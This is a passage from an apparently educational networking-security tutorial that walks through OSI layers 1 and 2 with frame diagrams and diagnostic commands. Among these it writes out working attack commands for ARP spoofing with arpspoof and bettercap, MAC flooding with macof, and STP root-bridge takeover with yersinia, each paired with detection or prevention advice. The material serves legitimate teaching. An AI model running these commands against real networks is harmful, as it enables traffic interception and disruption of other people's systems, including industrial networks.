&lt;p&gt;When a blue teamer says "we need to implement TLS inspection," you immediately know: TLS is L6 (Presentation). Inspection requires terminating the TLS session at the inspection appliance (L6 operation) and re-encrypting to the destination. This has specific forensic and privacy implications.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;For OT/ICS environments:&lt;/strong&gt; Industrial protocols map to the OSI model just like IT protocols, but the mapping is often unusual and the security controls present at each layer are drastically fewer. A Modbus TCP transaction starts at L7 (the Modbus application protocol) but has no authentication at any layer. Understanding exactly which OSI layer provides (or fails to provide) security in an industrial network is the foundation of OT security assessment.&lt;/p&gt;

&lt;p&gt;The OSI model was published by ISO in 1984. It was designed as a theoretical framework for interoperability — not specifically for security. But its structure accidentally created the perfect mental model for security analysis, because it separates concerns with exactly the granularity that security work requires.&lt;/p&gt;




&lt;h2&gt;
  
  
  2. OSI Model Overview — The Seven Layers
&lt;/h2&gt;

&lt;h3&gt;
  
  
  2.1 The Stack
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;┌──────────────────────────────────────────────────────────────┐
│  Layer 7 — Application    │ HTTP, HTTPS, DNS, SMTP, FTP,    │
│                           │ SMB, Modbus, DNP3, IEC 61850    │
├──────────────────────────────────────────────────────────────┤
│  Layer 6 — Presentation   │ TLS/SSL, JPEG, MPEG, ASCII,     │
│                           │ Base64, Encryption/Compression   │
├──────────────────────────────────────────────────────────────┤
│  Layer 5 — Session        │ NetBIOS, RPC, SQL sessions,     │
│                           │ TLS handshake (session setup)    │
├──────────────────────────────────────────────────────────────┤
│  Layer 4 — Transport      │ TCP, UDP, SCTP, QUIC            │
├──────────────────────────────────────────────────────────────┤
│  Layer 3 — Network        │ IPv4, IPv6, ICMP, IPSec,        │
│                           │ OSPF, BGP, ARP*                  │
├──────────────────────────────────────────────────────────────┤
│  Layer 2 — Data Link      │ Ethernet, Wi-Fi (802.11),       │
│                           │ ARP, VLAN (802.1Q), STP         │
├──────────────────────────────────────────────────────────────┤
│  Layer 1 — Physical       │ Copper, Fibre, Radio waves,     │
│                           │ Electrical signals, RS-485       │
└──────────────────────────────────────────────────────────────┘
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  2.2 The Memory Device
&lt;/h3&gt;

&lt;p&gt;Two mnemonics used by every network professional. Learn both — they appear in different directions depending on context:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Top to Bottom (L7 → L1): "All People Seem To Need Data Processing"&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;A&lt;/strong&gt;ll → Application (7)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;P&lt;/strong&gt;eople → Presentation (6)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;S&lt;/strong&gt;eem → Session (5)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;T&lt;/strong&gt;o → Transport (4)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;N&lt;/strong&gt;eed → Network (3)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;D&lt;/strong&gt;ata → Data Link (2)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;P&lt;/strong&gt;rocessing → Physical (1)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Bottom to Top (L1 → L7): "Please Do Not Throw Sausage Pizza Away"&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;P&lt;/strong&gt;lease → Physical (1)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;D&lt;/strong&gt;o → Data Link (2)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;N&lt;/strong&gt;ot → Network (3)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;T&lt;/strong&gt;hrow → Transport (4)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;S&lt;/strong&gt;ausage → Session (5)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;P&lt;/strong&gt;izza → Presentation (6)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;A&lt;/strong&gt;way → Application (7)&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  2.3 The Core Principle — Layer Independence
&lt;/h3&gt;

&lt;p&gt;Each layer:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Provides services to the layer above it&lt;/li&gt;
&lt;li&gt;Uses services from the layer below it&lt;/li&gt;
&lt;li&gt;Communicates logically with the same layer on the remote device&lt;/li&gt;
&lt;li&gt;Does not care about the implementation details of other layers&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This independence is both the power of the model and its security weakness. A layer cannot inherently verify that the layer below it is functioning correctly or hasn't been compromised. L7 application code assumes L4 is delivering data reliably. It does not verify that L2 hasn't been poisoned. This trust between layers is exploited constantly.&lt;/p&gt;

&lt;h3&gt;
  
  
  2.4 PDU — Protocol Data Unit
&lt;/h3&gt;

&lt;p&gt;Each layer has a name for its unit of data:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Layer&lt;/th&gt;
&lt;th&gt;PDU Name&lt;/th&gt;
&lt;th&gt;Contains&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;7 — Application&lt;/td&gt;
&lt;td&gt;Data / Message&lt;/td&gt;
&lt;td&gt;Application payload&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;6 — Presentation&lt;/td&gt;
&lt;td&gt;Data&lt;/td&gt;
&lt;td&gt;Formatted/encrypted data&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5 — Session&lt;/td&gt;
&lt;td&gt;Data&lt;/td&gt;
&lt;td&gt;Session-managed data&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4 — Transport&lt;/td&gt;
&lt;td&gt;Segment (TCP) / Datagram (UDP)&lt;/td&gt;
&lt;td&gt;Port numbers + data&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3 — Network&lt;/td&gt;
&lt;td&gt;Packet&lt;/td&gt;
&lt;td&gt;IP addresses + segment&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2 — Data Link&lt;/td&gt;
&lt;td&gt;Frame&lt;/td&gt;
&lt;td&gt;MAC addresses + packet&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;1 — Physical&lt;/td&gt;
&lt;td&gt;Bits&lt;/td&gt;
&lt;td&gt;Raw binary signal&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;When you look at a Wireshark capture, every packet is one of these PDUs. Knowing the terminology eliminates confusion when reading security documentation, CVE descriptions, and tool outputs.&lt;/p&gt;




&lt;h2&gt;
  
  
  3. Layer 1 — Physical
&lt;/h2&gt;

&lt;h3&gt;
  
  
  3.1 What Layer 1 Does
&lt;/h3&gt;

&lt;p&gt;Layer 1 is the medium. It defines how bits — ones and zeros — are physically transmitted between devices. It deals with:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Signalling:&lt;/strong&gt; How a bit 1 is distinguished from a bit 0 on the medium. In copper Ethernet, voltage levels. In fibre, light pulses. In Wi-Fi, radio wave modulation.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Bit rate:&lt;/strong&gt; How many bits per second the medium can carry&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Physical connectors:&lt;/strong&gt; RJ-45 (Ethernet), LC/SC (fibre), SMA (coaxial/RF)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Cabling standards:&lt;/strong&gt; Cat5e, Cat6, Cat6a, single-mode fibre, multi-mode fibre&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Signal encoding:&lt;/strong&gt; Manchester encoding, 4B/5B, PAM4 — how bits map to physical signals&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Layer 1 has no concept of addressing, error correction, or protocol. It simply converts bits into physical signals and physical signals back into bits.&lt;/p&gt;

&lt;h3&gt;
  
  
  3.2 Layer 1 Technologies
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Copper Ethernet (IEEE 802.3):&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Cat5e:  1 Gbps  up to 100m
Cat6:   1 Gbps  up to 100m, 10 Gbps up to 55m
Cat6a:  10 Gbps up to 100m
Cat8:   40 Gbps up to 30m (data centre)

Connector: RJ-45 (8P8C)
Signalling: Differential voltage on twisted pairs
          1000BASE-T uses all 4 pairs simultaneously
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Fibre Optic:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Multi-mode fibre (MMF):  
  OM3/OM4: 10 Gbps up to 300m (data centre, short runs)
  Orange/aqua jacket
  LED light source

Single-mode fibre (SMF):
  OS2: 10 Gbps up to 80km, 100 Gbps up to 40km
  Yellow jacket
  Laser light source
  Used for WAN, campus backbone, undersea cables
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Wireless (IEEE 802.11):&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;2.4 GHz band: longer range, more interference, slower
5 GHz band:   shorter range, less interference, faster
6 GHz band:   Wi-Fi 6E only, very short range, very fast

802.11n (Wi-Fi 4):  600 Mbps theoretical
802.11ac (Wi-Fi 5): 3.5 Gbps theoretical
802.11ax (Wi-Fi 6): 9.6 Gbps theoretical
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Industrial Physical Layer (OT/ICS):&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;RS-232:  Serial, point-to-point, ±12V signalling, up to 20 kbps
         Used for: legacy HMI/PLC connections, console ports on network devices

RS-485:  Serial, multi-drop bus, ±5V differential signalling, up to 10 Mbps
         Used for: Modbus RTU (the dominant industrial protocol)
         Up to 32 devices on one bus, up to 1200m

CAN bus: Controller Area Network, differential, up to 1 Mbps
         Used for: automotive, some industrial sensors

Profibus PA: 31.25 kbps, intrinsically safe for hazardous areas
             Used for: process automation field devices

4-20mA loop: Analogue, not digital — carries a current signal
             representing a physical measurement
             Still extremely common in field instrumentation
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  3.3 Layer 1 Security Threats
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Physical Wiretapping:&lt;/strong&gt;&lt;br&gt;
Copper cables can be tapped by physically accessing the cable and connecting monitoring equipment. This does not require breaking the cable — a vampire tap or inductive coupler can intercept traffic without creating a visible break. Fibre is harder to tap without detection because bending fibre causes measurable light loss, but specialist equipment exists for covert fibre taps.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Nation-state level physical tapping&lt;/strong&gt; is documented: the NSA's Room 641A at AT&amp;amp;T facilities, revealed in 2006, was a room that split fibre traffic for surveillance. The Snowden documents described submarine cable tap programmes.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Signal Jamming:&lt;/strong&gt;&lt;br&gt;
Radio-frequency jamming disrupts wireless communications by overwhelming the signal with noise. Relevant for:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Wi-Fi networks (denial of service at Layer 1)&lt;/li&gt;
&lt;li&gt;Industrial wireless sensor networks (Zigbee, WirelessHART, ISA100.11a)&lt;/li&gt;
&lt;li&gt;GPS jamming affecting time synchronisation (critical for power grid protection systems that rely on GPS-derived timestamps for phasor measurement)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Hardware Implants:&lt;/strong&gt;&lt;br&gt;
Nation-state actors have demonstrated hardware implants inserted into network cables and equipment that passively capture traffic. The ANT catalogue (Snowden documents) described implants including COTTONMOUTH (implanted in USB cables) and HALLUXWATER (firmware backdoor in Huawei routers).&lt;/p&gt;

&lt;p&gt;At an industrial level, the supply chain for PLC hardware, field instruments, and communication cards represents a physical layer attack surface that is rarely audited.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Rogue Access Points:&lt;/strong&gt;&lt;br&gt;
Plugging an unauthorised device into a physical network port is a Layer 1 attack — it requires physical access but bypasses all logical security controls. Once connected, the rogue device has Layer 1 access equivalent to any legitimate device.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Power Analysis Side-Channel (covered in Stage 0.1):&lt;/strong&gt;&lt;br&gt;
Physical measurement of power consumption during cryptographic operations. Relevant to smart meters, smart cards, HSMs, and industrial devices.&lt;/p&gt;
&lt;h3&gt;
  
  
  3.4 Layer 1 in Practice
&lt;/h3&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Check physical interface status on Linux&lt;/span&gt;
ip &lt;span class="nb"&gt;link &lt;/span&gt;show                        &lt;span class="c"&gt;# All interfaces and their states&lt;/span&gt;
ip &lt;span class="nb"&gt;link &lt;/span&gt;show eth0                   &lt;span class="c"&gt;# Specific interface&lt;/span&gt;
ethtool eth0                        &lt;span class="c"&gt;# Physical layer details: speed, duplex, link status&lt;/span&gt;

&lt;span class="c"&gt;# Example ethtool output:&lt;/span&gt;
&lt;span class="c"&gt;# Speed: 1000Mb/s&lt;/span&gt;
&lt;span class="c"&gt;# Duplex: Full&lt;/span&gt;
&lt;span class="c"&gt;# Link detected: yes&lt;/span&gt;
&lt;span class="c"&gt;# Port: Twisted Pair&lt;/span&gt;
&lt;span class="c"&gt;# Auto-negotiation: on&lt;/span&gt;

&lt;span class="c"&gt;# Check for physical errors (CRC errors, collisions indicate cabling issues)&lt;/span&gt;
ethtool &lt;span class="nt"&gt;-S&lt;/span&gt; eth0 | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-E&lt;/span&gt; &lt;span class="s2"&gt;"error|drop|miss|crc"&lt;/span&gt;

&lt;span class="c"&gt;# On Windows:&lt;/span&gt;
&lt;span class="c"&gt;# Get-NetAdapter | Select-Object Name, Status, LinkSpeed, MediaType&lt;/span&gt;
&lt;span class="c"&gt;# netsh interface show interface&lt;/span&gt;

&lt;span class="c"&gt;# Wireless physical layer details&lt;/span&gt;
iwconfig wlan0                      &lt;span class="c"&gt;# Legacy wireless info&lt;/span&gt;
iw dev wlan0 info                   &lt;span class="c"&gt;# Modern wireless info&lt;/span&gt;
iw dev wlan0 &lt;span class="nb"&gt;link&lt;/span&gt;                   &lt;span class="c"&gt;# Current link quality, signal strength, noise&lt;/span&gt;

&lt;span class="c"&gt;# Signal strength is measured in dBm (decibel-milliwatts)&lt;/span&gt;
&lt;span class="c"&gt;# -30 dBm: excellent&lt;/span&gt;
&lt;span class="c"&gt;# -67 dBm: good (recommended minimum for voice/video)&lt;/span&gt;
&lt;span class="c"&gt;# -80 dBm: poor&lt;/span&gt;
&lt;span class="c"&gt;# -90 dBm: unusable&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key Insight:&lt;/strong&gt; Physical security IS Layer 1 security. All logical security controls can be bypassed by an attacker with sufficient physical access. The reason secure facilities have strict physical access controls, cable management policies, and hardware inventory audits is that once physical access is granted, every layer above it is potentially compromised. In OT environments where control system cabinets may be in unmanned remote locations, this is existential.&lt;/p&gt;
&lt;/blockquote&gt;


&lt;h2&gt;
  
  
  4. Layer 2 — Data Link
&lt;/h2&gt;
&lt;h3&gt;
  
  
  4.1 What Layer 2 Does
&lt;/h3&gt;

&lt;p&gt;Layer 2 is responsible for reliable transmission of data between two &lt;strong&gt;directly connected&lt;/strong&gt; devices. It does two things that Layer 1 cannot:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Framing:&lt;/strong&gt; Packages raw bits into structured frames with a beginning, end, source, and destination&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Error detection:&lt;/strong&gt; Detects (but usually not corrects) transmission errors using checksums&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Layer 2 introduces the concept of &lt;strong&gt;hardware addressing&lt;/strong&gt; — MAC addresses — which identify devices on the same network segment. Every NIC has a MAC address burned in at manufacturing time (though it can be overridden in software).&lt;/p&gt;

&lt;p&gt;Layer 2 is bounded by network devices that operate at L2: &lt;strong&gt;switches&lt;/strong&gt; and &lt;strong&gt;bridges&lt;/strong&gt;. A packet crossing a switch stays within the same Layer 2 domain. A packet crossing a router leaves one Layer 2 domain and enters another.&lt;/p&gt;
&lt;h3&gt;
  
  
  4.2 Ethernet Frame Deep Dive
&lt;/h3&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Ethernet II Frame:
 ┌──────────┬──────────┬───────────┬──────────────────────┬──────────┐
 │ Dst MAC  │ Src MAC  │ EtherType │       Payload        │   FCS    │
 │ 6 bytes  │ 6 bytes  │  2 bytes  │   46 - 1500 bytes    │ 4 bytes  │
 └──────────┴──────────┴───────────┴──────────────────────┴──────────┘

EtherType values (critical for security — identifies L3 protocol):
  0x0800 → IPv4
  0x0806 → ARP
  0x86DD → IPv6
  0x8100 → 802.1Q VLAN tagged frame
  0x8847 → MPLS
  0x88CC → LLDP (Link Layer Discovery Protocol)
  0x88E1 → HomePlug AV (powerline networking)
  0x88F7 → PTP (Precision Time Protocol — used in OT time synchronisation)
  0x88BA → IEC 61850 GOOSE
  0x88CD → IEC 61850 SAMPLED VALUES

FCS: Frame Check Sequence
  CRC-32 checksum over the entire frame
  Calculated by sender, verified by receiver
  A frame with a bad FCS is discarded silently
  High FCS error rates indicate physical layer problems (bad cable, interference)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;&lt;strong&gt;802.1Q VLAN Tagging:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Standard Ethernet II:
 [Dst MAC][Src MAC][EtherType][Payload][FCS]

802.1Q Tagged Frame:
 [Dst MAC][Src MAC][0x8100][TCI][EtherType][Payload][FCS]
                    ──────  ───
                    Tag     Tag Control Information
                    Protocol  ├── PCP: Priority Code Point (QoS, 3 bits)
                    Identifier├── DEI: Drop Eligible Indicator (1 bit)
                              └── VID: VLAN ID (12 bits, 0-4095)

VLAN 0:    Reserved
VLAN 1:    Default VLAN (most switches, traffic not explicitly tagged)
VLAN 4094: Often used for management
VLAN 4095: Reserved
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  4.3 Switches — The Core L2 Device
&lt;/h3&gt;

&lt;p&gt;A switch builds and maintains a &lt;strong&gt;MAC address table&lt;/strong&gt; (also called CAM table — Content Addressable Memory). When a frame arrives:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Switch reads source MAC → adds to MAC table with the incoming port&lt;/li&gt;
&lt;li&gt;Switch reads destination MAC → looks up in MAC table&lt;/li&gt;
&lt;li&gt;If found → forward frame only to that port (unicast)&lt;/li&gt;
&lt;li&gt;If not found → flood frame to all ports except source port (unknown unicast)&lt;/li&gt;
&lt;li&gt;If destination is broadcast (FF:FF:FF:FF:FF:FF) → flood to all ports
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# View switch MAC address table (Cisco IOS)&lt;/span&gt;
show mac address-table
show mac address-table dynamic         &lt;span class="c"&gt;# Only learned entries&lt;/span&gt;
show mac address-table address &amp;lt;MAC&amp;gt;   &lt;span class="c"&gt;# Find which port a MAC is on&lt;/span&gt;

&lt;span class="c"&gt;# On Linux acting as a bridge&lt;/span&gt;
bridge fdb show                        &lt;span class="c"&gt;# Show forwarding database&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  4.4 ARP — Address Resolution Protocol
&lt;/h3&gt;

&lt;p&gt;ARP resolves IPv4 addresses to MAC addresses. When a device wants to send an IP packet to another device on the same subnet, it needs the MAC address to construct the Ethernet frame.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;ARP Request (broadcast):
  Who has 192.168.1.1? Tell 192.168.1.5

  [Src MAC: AA:BB:CC:DD:EE:FF]
  [Dst MAC: FF:FF:FF:FF:FF:FF]  ← Broadcast
  [EtherType: 0x0806]
  [Operation: Request (1)]
  [Sender MAC: AA:BB:CC:DD:EE:FF]
  [Sender IP:  192.168.1.5]
  [Target MAC: 00:00:00:00:00:00]  ← Unknown
  [Target IP:  192.168.1.1]

ARP Reply (unicast):
  192.168.1.1 is at 11:22:33:44:55:66

  [Src MAC: 11:22:33:44:55:66]
  [Dst MAC: AA:BB:CC:DD:EE:FF]  ← Direct to requester
  [EtherType: 0x0806]
  [Operation: Reply (2)]
  [Sender MAC: 11:22:33:44:55:66]
  [Sender IP:  192.168.1.1]
  [Target MAC: AA:BB:CC:DD:EE:FF]
  [Target IP:  192.168.1.5]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;The critical security flaw in ARP:&lt;/strong&gt;&lt;br&gt;
ARP has &lt;strong&gt;no authentication&lt;/strong&gt;. Any device can send an ARP reply claiming any IP-to-MAC mapping. Devices accept and cache unsolicited ARP replies without verification. This is the foundation of ARP spoofing.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# View ARP cache&lt;/span&gt;
arp &lt;span class="nt"&gt;-a&lt;/span&gt;                              &lt;span class="c"&gt;# Linux/Windows&lt;/span&gt;
ip neigh show                       &lt;span class="c"&gt;# Linux (modern)&lt;/span&gt;

&lt;span class="c"&gt;# ARP spoofing with arpspoof (dsniff package)&lt;/span&gt;
&lt;span class="c"&gt;# This tells all hosts on the network that 192.168.1.1 (gateway)&lt;/span&gt;
&lt;span class="c"&gt;# is at the attacker's MAC address:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;arpspoof &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 &lt;span class="nt"&gt;-t&lt;/span&gt; 192.168.1.0/24 192.168.1.1
&lt;span class="c"&gt;# AND tell the gateway that all hosts are at attacker's MAC:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;arpspoof &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 &lt;span class="nt"&gt;-t&lt;/span&gt; 192.168.1.1 192.168.1.0/24

&lt;span class="c"&gt;# Enable IP forwarding so the attacker machine actually forwards the traffic:&lt;/span&gt;
&lt;span class="nb"&gt;echo &lt;/span&gt;1 &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; /proc/sys/net/ipv4/ip_forward

&lt;span class="c"&gt;# Now all traffic between hosts and gateway passes through attacker → MITM&lt;/span&gt;

&lt;span class="c"&gt;# More modern tool: Bettercap&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;bettercap &lt;span class="nt"&gt;-iface&lt;/span&gt; eth0
&lt;span class="c"&gt;# bettercap&amp;gt; net.probe on&lt;/span&gt;
&lt;span class="c"&gt;# bettercap&amp;gt; arp.spoof.targets 192.168.1.0/24&lt;/span&gt;
&lt;span class="c"&gt;# bettercap&amp;gt; arp.spoof on&lt;/span&gt;
&lt;span class="c"&gt;# bettercap&amp;gt; net.sniff on&lt;/span&gt;

&lt;span class="c"&gt;# Detection: monitor ARP traffic for duplicate IP-to-MAC mappings&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;arpwatch &lt;span class="nt"&gt;-i&lt;/span&gt; eth0               &lt;span class="c"&gt;# Alerts on ARP anomalies&lt;/span&gt;
&lt;span class="c"&gt;# Or in Wireshark: filter "arp" and look for:&lt;/span&gt;
&lt;span class="c"&gt;# - Same IP claimed by two different MACs&lt;/span&gt;
&lt;span class="c"&gt;# - High frequency of gratuitous ARP replies&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  4.5 Layer 2 Attack Surface
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;MAC Flooding (CAM Table Overflow):&lt;/strong&gt;&lt;br&gt;
A switch's MAC table has finite capacity (typically 8,000-128,000 entries). If an attacker floods the switch with frames containing random source MAC addresses, the table fills up. When the table is full, the switch cannot learn new MAC addresses and falls back to flooding ALL frames to ALL ports — behaving like a hub.&lt;/p&gt;

&lt;p&gt;Result: The attacker's NIC in promiscuous mode receives all traffic on the switch, including traffic between other devices.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# MAC flooding with macof (dsniff)&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;macof &lt;span class="nt"&gt;-i&lt;/span&gt; eth0                  &lt;span class="c"&gt;# Floods with random MAC frames&lt;/span&gt;
&lt;span class="c"&gt;# Generates ~155,000 packets/second&lt;/span&gt;
&lt;span class="c"&gt;# Most modern switches have MAC flooding protection (port security)&lt;/span&gt;
&lt;span class="c"&gt;# but legacy switches and some industrial switches do not&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;VLAN Hopping:&lt;/strong&gt;&lt;br&gt;
Two methods to reach VLANs an attacker should not have access to:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Method 1: Switch Spoofing&lt;/strong&gt;&lt;br&gt;
If a switch port is configured as "dynamic" (DTP — Dynamic Trunking Protocol enabled), an attacker can negotiate a trunk link with the switch, receiving traffic from ALL VLANs.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Normal access port: carries traffic for one VLAN only
Trunk port: carries traffic for multiple VLANs (tagged with 802.1Q)

Attack: Send DTP packets to negotiate trunk mode on an access port
Result: Attacker receives all VLANs

Prevention: Explicitly disable DTP — configure ports as access or trunk, never dynamic
Cisco: switchport nonegotiate
      switchport mode access  (for access ports)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Method 2: Double Tagging&lt;/strong&gt;&lt;br&gt;
Works only if the attacker is on the native VLAN of a trunk port. The attacker sends a frame with TWO 802.1Q tags:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Outer tag: native VLAN (removed by first switch)&lt;/li&gt;
&lt;li&gt;Inner tag: target VLAN (forwarded by second switch)
&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Attacker frame: [Outer Tag: VLAN 1][Inner Tag: VLAN 100][Payload]

Switch 1: Removes outer tag (VLAN 1 is native, strip tag), forwards
Switch 2: Sees inner tag VLAN 100, forwards to VLAN 100

The reply cannot return via this method (unidirectional)
But for sending traffic (injecting attacks, DoS), this works

Prevention: Never use VLAN 1 as native VLAN
            Change native VLAN to an unused VLAN (e.g., VLAN 999)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;&lt;strong&gt;STP Attacks — Spanning Tree Protocol:&lt;/strong&gt;&lt;br&gt;
STP (IEEE 802.1D) prevents Layer 2 loops in networks with redundant paths. It elects a &lt;strong&gt;root bridge&lt;/strong&gt; and blocks redundant links. If the root bridge changes, STP reconverges — temporarily disrupting the network.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;STP attack: Send BPDUs &lt;span class="o"&gt;(&lt;/span&gt;Bridge Protocol Data Units&lt;span class="o"&gt;)&lt;/span&gt; with a lower
            bridge priority than the current root bridge
Result:     Attacker&lt;span class="s1"&gt;'s machine becomes the root bridge
            Traffic reroutes through attacker'&lt;/span&gt;s machine → MITM
            STP reconvergence causes network disruption &lt;span class="o"&gt;(&lt;/span&gt;seconds to minutes&lt;span class="o"&gt;)&lt;/span&gt;

Tools: Yersinia &lt;span class="o"&gt;(&lt;/span&gt;Layer 2 attack tool — STP, CDP, VTP, DTP attacks&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;yersinia &lt;span class="nt"&gt;-G&lt;/span&gt;                    &lt;span class="c"&gt;# GUI mode&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;yersinia stp &lt;span class="nt"&gt;-attack&lt;/span&gt; 0        &lt;span class="c"&gt;# Send superior BPDUs to become root bridge&lt;/span&gt;

Prevention:
